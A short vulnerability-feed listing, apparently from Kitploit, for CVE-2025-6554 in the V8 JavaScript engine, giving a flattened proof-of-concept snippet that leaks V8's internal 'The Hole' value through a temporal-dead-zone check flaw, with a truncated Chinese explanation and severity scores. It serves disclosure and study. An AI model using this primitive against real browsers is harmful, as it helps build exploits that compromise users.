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Kitploit
Kitploit
added 2026/09/18 3:34 a.m.11 views

CVE-2025-6554

CVE-2025-6554 root@kitploit: function leakhole let x; delete x?.y?.a; return y; let y; function pwn let hole = leakhole; %DebugPrinthole; pwn; 漏洞 变量 y 在声明之前被访问。正常情况下这会触发 ReferenceError(暂存死区,TDZ),但在旧版 V8 中,当与 delete x?.y 结合使用时,检查失败并返回内部哨兵值 "The Hole"。 补丁前 V8 仅检查了一次 TDZ,然后错误地假设 y 是有效的。这使得 "The Hole...

8.1CVSS7.8AI score0.12723EPSS
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